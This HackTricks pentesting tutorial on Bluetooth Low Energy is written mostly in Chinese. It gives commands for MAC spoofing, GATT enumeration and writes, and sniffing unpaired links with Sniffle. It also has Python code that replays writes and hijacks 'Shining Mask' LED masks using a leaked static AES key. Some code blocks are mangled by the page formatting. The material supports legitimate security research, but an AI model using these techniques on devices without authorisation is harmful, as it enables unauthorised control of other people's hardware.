Pentesting BLE - Bluetooth Low Energy

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

介绍

自 Bluetooth 4.0 规范起,BLE 仅使用 40 个信道,覆盖 2400 到 2483.5 MHz 的频段。相比之下,传统 Bluetooth 在相同频段使用 79 个信道。

BLE 设备通过发送 advertising packetsbeacons)进行通信,这些数据包将 BLE 设备的存在广播给附近的其他设备。这些 beacons 有时也会发送数据

监听设备,也称为 central device,可以通过向广播设备专门发送 SCAN request 来响应 advertising packet。对该扫描的 response 使用与 advertising packet 相同的结构,但包含无法放入初始 advertising request 的额外信息,例如完整的设备名称。

前导字节用于同步频率,而四字节的 access address 是一个connection identifier,在多个设备尝试在相同信道建立连接的场景中使用。接下来,Protocol Data Unit(PDU)包含 advertising data。PDU 有多种类型;最常用的是 ADV_NONCONN_IND 和 ADV_IND。如果设备不接受连接,则使用 ADV_NONCONN_IND PDU 类型,仅在 advertising packet 中传输数据。如果设备允许连接,则使用 ADV_IND,并在建立 connection 后停止发送 advertising packets。

GATT

Generic Attribute Profile(GATT)定义了设备应如何格式化和传输数据。在分析 BLE 设备的攻击面时,你通常会把注意力集中在 GATT(或 GATTs)上,因为它是触发设备功能以及数据如何被存储、分组和修改的方式。GATT 以 16 位或 32 位值的形式,将设备的 characteristics、descriptors 和 services 列在表中。一个 characteristic 是 central device 与 peripheral 之间发送数据值。这些 characteristics 可以有 descriptors提供关于它们的额外信息。如果这些 characteristics 与执行某个特定操作相关,它们通常会被分组services 中。

Enumeration

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool 允许与另一设备建立连接,列出该设备的特性,并读取和写入其属性。
GATTTool 可以使用 -I 选项启动交互式 shell:

GATTTool 交互式用法与示例 ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

嗅探并主动控制未配对的 BLE 设备

许多低成本的 BLE 外设不会强制 pairing/bonding。没有 bonding,Link Layer encryption 永远不会启用,因此 ATT/GATT 流量是明文的。一个 off-path sniffer 可以跟踪连接,解码 GATT 操作以获取 characteristic handles 和 values,任何附近的主机随后都可以连接并重放这些写入以控制设备。

使用 Sniffle 嗅探 (CC26x2/CC1352)

硬件:一台 Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352),刷入了 NCC Group 的 Sniffle 固件。

在 Linux 上安装 Sniffle 及其 Wireshark extcap:

安装 Sniffle extcap (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

将 Sonoff 刷入 Sniffle 固件(确保串口设备匹配,例如 /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

在 Wireshark 中通过 Sniffle extcap 捕获,并通过过滤快速定位到会改变状态的写操作:

_ws.col.info contains "Sent Write Command"

这会突出显示来自客户端的 ATT Write Commands;句柄和数值通常直接映射到设备动作(例如,写入 0x01 到蜂鸣器/警报 特征,写入 0x00 则停止)。

Sniffle CLI 快速示例:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin 也可用。在小型/廉价的 Nordic dongles 上,你通常需要覆盖 USB bootloader 来加载 sniffer firmware,因此你要么保留一个专用的 sniffer dongle,要么需要使用 J-Link/JTAG 在之后恢复 bootloader。

通过 GATT 进行主动控制

一旦你从 sniffed traffic 中识别出可写的 writable characteristic handle 和 value,以任意 central 身份连接并发出相同的 write:

  • 使用 Nordic nRF Connect for Desktop (BLE app):

  • 选择 nRF52/nRF52840 dongle,扫描并连接到目标。

  • 浏览 GATT database,定位目标 characteristic(通常有友好名称,例如 Alert Level)。

  • 使用 sniffed bytes 执行 Write(例如 01 触发,00 停止)。

  • 在 Windows 上使用 Nordic dongle 和 Python + blatann 自动化:

Python blatann write example (Windows + Nordic dongle) ```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### Case study: hijacking BLE LED masks (Shining Mask family)

Cheap, white‑labeled BLE LED masks controlled by the “Shining Mask” app accept write control from any nearby central with no pairing/bonding. The app talks GATT to a command characteristic and a data characteristic; commands are AES‑ECB encrypted with a static key hard‑coded in the app, while bulk image data is unencrypted.

Key UUIDs on these devices:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

Unauthenticated GATT writes
- No pairing/bonding required. Any host can connect and write to the command UUID to change brightness, select images, start animations, etc.
- Common ops observed: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).

Static-key AES command framing
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Known static key (hex): 32672f7974ad43451d9c6c894a0e8764

Python helper to encrypt and send a command (example: set max brightness):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

镜像上传流程

  • 在经过加密的 DATS 握手之后,原始数据块以未加密形式写入 data characteristic …960a。
  • 数据包格式: [len][seq][payload]。经验上,每个包约 100 bytes 的 payload 可以可靠传输。
最小镜像上传伪代码 ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to …960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

## 操作注意事项

- 在 Linux 上优先使用 Sonoff+Sniffle,以实现稳定的 channel hopping 和 connection following。另备一台 Nordic sniffer 以作备用。
- 在未进行 pairing/bonding 的情况下,任何附近的攻击者都能观察到 writes,并重放/构造自己的写入到 unauthenticated writable characteristics。

## References

- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> 学习和实践 AWS 黑客技术:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习和实践 GCP 黑客技术:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> 学习和实践 Azure 黑客技术:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>支持 HackTricks</summary>
>
> - 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
>
> </details>